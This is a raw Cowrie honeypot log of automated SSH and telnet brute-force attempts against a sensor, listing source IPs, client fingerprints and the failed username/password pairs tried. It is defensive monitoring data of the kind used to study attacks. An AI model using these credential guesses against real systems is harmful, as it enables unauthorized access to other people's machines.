{"eventid":"cowrie.login.failed","username":"root","password":"1234567qwertyu","message":"login attempt [root/1234567qwertyu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:55.772956Z","src_ip":"103.77.242.62","session":"d6f4a264348c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59822,"dst_ip":"159.203.135.109","dst_port":22,"session":"0947cb0bbc1f","protocol":"ssh","message":"New connection: 192.109.200.237:59822 (159.203.135.109:22) [session: 0947cb0bbc1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:56.548127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:56.553203Z","src_ip":"192.109.200.237","session":"0947cb0bbc1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:56.636461Z","src_ip":"192.109.200.237","session":"0947cb0bbc1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:56.886268Z","src_ip":"192.109.200.237","session":"0947cb0bbc1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:57.017247Z","src_ip":"103.77.242.62","session":"d6f4a264348c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":60962,"dst_ip":"159.203.135.109","dst_port":22,"session":"6115f7121f98","protocol":"ssh","message":"New connection: 109.172.54.111:60962 (159.203.135.109:22) [session: 6115f7121f98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:57.928618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:57.933517Z","src_ip":"109.172.54.111","session":"6115f7121f98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:57.973730Z","src_ip":"192.109.200.237","session":"0947cb0bbc1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:58.035468Z","src_ip":"109.172.54.111","session":"6115f7121f98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qaz","message":"login attempt [root/12345qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:58.336397Z","src_ip":"109.172.54.111","session":"6115f7121f98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56674,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c93bf33e062","protocol":"telnet","message":"New connection: 152.42.224.71:56674 (10.17.0.5:23) [session: 6c93bf33e062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:58.357140Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:59.435914Z","src_ip":"109.172.54.111","session":"6115f7121f98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56678,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbaf13c89526","protocol":"telnet","message":"New connection: 152.42.224.71:56678 (10.17.0.5:23) [session: bbaf13c89526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:59.622305Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59838,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b4a52c337d3","protocol":"ssh","message":"New connection: 192.109.200.237:59838 (159.203.135.109:22) [session: 7b4a52c337d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:59.870188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:59.875345Z","src_ip":"192.109.200.237","session":"7b4a52c337d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:59.957624Z","src_ip":"192.109.200.237","session":"7b4a52c337d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:00.317334Z","src_ip":"192.109.200.237","session":"7b4a52c337d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56680,"dst_ip":"10.17.0.5","dst_port":23,"session":"270a00ca5c62","protocol":"telnet","message":"New connection: 152.42.224.71:56680 (10.17.0.5:23) [session: 270a00ca5c62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:00.643303Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:01.403789Z","src_ip":"192.109.200.237","session":"7b4a52c337d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41074,"dst_ip":"159.203.135.109","dst_port":22,"session":"94fa1b4286fc","protocol":"ssh","message":"New connection: 192.109.200.237:41074 (159.203.135.109:22) [session: 94fa1b4286fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:03.462725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:03.468414Z","src_ip":"192.109.200.237","session":"94fa1b4286fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:03.550667Z","src_ip":"192.109.200.237","session":"94fa1b4286fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:03.798174Z","src_ip":"192.109.200.237","session":"94fa1b4286fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:04.884254Z","src_ip":"192.109.200.237","session":"94fa1b4286fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41082,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c86d6c3c12f","protocol":"ssh","message":"New connection: 192.109.200.237:41082 (159.203.135.109:22) [session: 2c86d6c3c12f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:06.881777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:06.886632Z","src_ip":"192.109.200.237","session":"2c86d6c3c12f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:06.969948Z","src_ip":"192.109.200.237","session":"2c86d6c3c12f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pool","password":"pool","message":"login attempt [pool/pool] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:07.219403Z","src_ip":"192.109.200.237","session":"2c86d6c3c12f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:08.418420Z","src_ip":"192.109.200.237","session":"2c86d6c3c12f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42078,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2eab05615a0","protocol":"ssh","message":"New connection: 192.109.200.237:42078 (159.203.135.109:22) [session: c2eab05615a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:10.268470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:10.273442Z","src_ip":"192.109.200.237","session":"c2eab05615a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:10.355820Z","src_ip":"192.109.200.237","session":"c2eab05615a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"phuvanduc","message":"login attempt [root/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:10.601644Z","src_ip":"192.109.200.237","session":"c2eab05615a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:11.687110Z","src_ip":"192.109.200.237","session":"c2eab05615a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.37.39","src_port":48198,"dst_ip":"10.17.0.5","dst_port":22,"session":"c80f5dad86a8","protocol":"ssh","message":"New connection: 43.153.37.39:48198 (10.17.0.5:22) [session: c80f5dad86a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:11.903958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:11.909457Z","src_ip":"43.153.37.39","session":"c80f5dad86a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:11.977399Z","src_ip":"43.153.37.39","session":"c80f5dad86a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa12345678!","message":"login attempt [root/Aa12345678!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:12.282130Z","src_ip":"43.153.37.39","session":"c80f5dad86a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:13.353633Z","src_ip":"43.153.37.39","session":"c80f5dad86a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42088,"dst_ip":"159.203.135.109","dst_port":22,"session":"113ce3bfd71e","protocol":"ssh","message":"New connection: 192.109.200.237:42088 (159.203.135.109:22) [session: 113ce3bfd71e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:13.727270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:13.732655Z","src_ip":"192.109.200.237","session":"113ce3bfd71e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:13.921002Z","src_ip":"192.109.200.237","session":"113ce3bfd71e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:14:14.198908Z","src_ip":"192.109.200.237","session":"113ce3bfd71e","protocol":"ssh"}
